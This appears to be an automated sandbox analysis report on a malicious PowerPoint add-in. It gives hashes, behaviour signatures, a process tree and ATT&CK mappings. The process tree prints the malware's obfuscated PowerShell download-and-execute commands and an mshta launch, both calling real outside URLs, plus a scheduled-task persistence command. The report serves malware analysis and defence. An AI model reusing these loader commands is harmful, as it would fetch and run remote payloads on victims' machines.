Analysis

  • max time kernel
    41s
  • max time network
    146s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    12-07-2021 15:03

General

  • Target

    IdDetails.ppam

  • Size

    16KB

  • MD5

    8fb67950eee24c33116c5c8ae87bbde1

  • SHA1

    26d8b5eec451ed68f3a61f4f69b4fadffb736d22

  • SHA256

    a524b17edc79f1cacd57f9a07becfd24df6d0ef893d11620cb3c300c86c327ed

  • SHA512

    1c03f7930d08ad4ea8d7fc0f8527d5db6bc618989e8ab9183abe05309d6b9f75f0eef61271059a576e2709a7d6ec5385f206d48ca99eeda9832148fa1117c9e3

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://ia801508.us.archive.org/34/items/Coxes/Coxes.txt

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 18 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies Internet Explorer settings 1 TTPs 10 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\IdDetails.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:604
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1648
      • C:\Windows\SysWOW64\mshta.exe
        mshta http://www.bitly.com/ashjdkqowdhqowdh
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Modifies Internet Explorer settings
        • Modifies system certificate store
        • Suspicious use of WriteProcessMemory
        PID:1836
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $www='https://ia801508.us.archive.org/34/items/Coxes/Coxes.txt';$sss= '(NESTRDTYUGIHGYFTRDYTFYUbj'.Replace('ESTRDTYUGIHGYFTRDYTFYU','ew-O');$aaa='ecAAAAAAAAAAAm.NBBBBBBBBBBBBBBbC'.Replace('AAAAAAAAAAA','t Syste').Replace('BBBBBBBBBBBBBB','et.We');$bbb='lieCCCCCCCCCCnloaOOOOOOOOOOOOOOOring($www);'.Replace('CCCCCCCCCC','nt).Dow').Replace('OOOOOOOOOOOOOOO','dst');$hbar=I`E`X ($sss,$aaa,$bbb-Join '')|I`E`X;
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1952
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://ia801403.us.archive.org/11/items/3_20210710_20210710/1.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://ia801403.us.archive.org/11/items/3_20210710_20210710/2.txt').GetResponse().GetResponseStream()).ReadToend());I`E`X([System.IO.StreamReader]::new( [System.Net.WebRequest]::Create('https://ia601403.us.archive.org/11/items/3_20210710_20210710/3.txt').GetResponse().GetResponseStream()).ReadToend());
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1760
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""BlueStacks"" /F /tr ""\""MsHtA""\""http://1230948%1230948@backishbackuponback.blogspot.com/p/clientsced.html\""
          3⤵
          • Creates scheduled task(s)
          PID:804

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Execution

    Scheduled Task

    1
    T1053

    Persistence

    Scheduled Task

    1
    T1053

    Privilege Escalation

    Scheduled Task

    1
    T1053

    Defense Evasion

    Modify Registry

    2
    T1112

    Install Root Certificate

    1
    T1130

    Discovery

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
      MD5

      2902de11e30dcc620b184e3bb0f0c1cb

      SHA1

      5d11d14a2558801a2688dc2d6dfad39ac294f222

      SHA256

      e6a7f1f8810e46a736e80ee5ac6187690f28f4d5d35d130d410e20084b2c1544

      SHA512

      efd415cde25b827ac2a7ca4d6486ce3a43cdcc1c31d3a94fd7944681aa3e83a4966625bf2e6770581c4b59d05e35ff9318d9adaddade9070f131076892af2fa0

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
      MD5

      78ea10f3bccd2bed1321f5233c53f92f

      SHA1

      0ac4a056442fef170926edeb771e81e8310c6d93

      SHA256

      8d59fcfb624ba036eade10061d1f4b90eeb9c0362b439137f037efd85ad820d6

      SHA512

      ea9655d604c22f044d9a2668c1b4ace9d6d34dfeed8ceee3e77c32c5d11321c8c7e9ba389e4c3581515a2fabf6ddbafa11db1cc656649eda3117a5c3de65ef96

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
      MD5

      e32b6ea04226c884631e119ed915588a

      SHA1

      dc543b9f4ad09fd489093da7213af30ce3be00e0

      SHA256

      ab63923a79ff72cb0c047578834a5b2625eb87b76edffb7f98590af9e8ab1c31

      SHA512

      56606f23d5f594a29b87610f98450c0381e232e973e4acbd372f5ff2d1138c4672b06291a080e2b734dca28cac376eb210a7b0774fdafa4675673b9e3168fbab

    • memory/604-60-0x0000000071141000-0x0000000071143000-memory.dmp
      Filesize

      8KB

    • memory/604-61-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/604-59-0x0000000073AE1000-0x0000000073AE5000-memory.dmp
      Filesize

      16KB

    • memory/604-63-0x0000000075211000-0x0000000075213000-memory.dmp
      Filesize

      8KB

    • memory/604-66-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/804-69-0x0000000000000000-mapping.dmp
    • memory/1648-64-0x000007FEFBAE1000-0x000007FEFBAE3000-memory.dmp
      Filesize

      8KB

    • memory/1648-62-0x0000000000000000-mapping.dmp
    • memory/1760-77-0x00000000049C2000-0x00000000049C3000-memory.dmp
      Filesize

      4KB

    • memory/1760-70-0x0000000000000000-mapping.dmp
    • memory/1760-84-0x00000000027D0000-0x00000000027D1000-memory.dmp
      Filesize

      4KB

    • memory/1760-76-0x00000000049C0000-0x00000000049C1000-memory.dmp
      Filesize

      4KB

    • memory/1836-81-0x0000000005343000-0x0000000005344000-memory.dmp
      Filesize

      4KB

    • memory/1836-65-0x0000000000000000-mapping.dmp
    • memory/1952-78-0x0000000002600000-0x000000000324A000-memory.dmp
      Filesize

      12.3MB

    • memory/1952-79-0x00000000047C0000-0x00000000047C1000-memory.dmp
      Filesize

      4KB

    • memory/1952-75-0x0000000002600000-0x000000000324A000-memory.dmp
      Filesize

      12.3MB

    • memory/1952-82-0x0000000001140000-0x0000000001141000-memory.dmp
      Filesize

      4KB

    • memory/1952-73-0x0000000000F40000-0x0000000000F41000-memory.dmp
      Filesize

      4KB

    • memory/1952-88-0x0000000005FE0000-0x0000000005FE1000-memory.dmp
      Filesize

      4KB

    • memory/1952-67-0x0000000000000000-mapping.dmp
    • memory/1952-92-0x000000007EF30000-0x000000007EF31000-memory.dmp
      Filesize

      4KB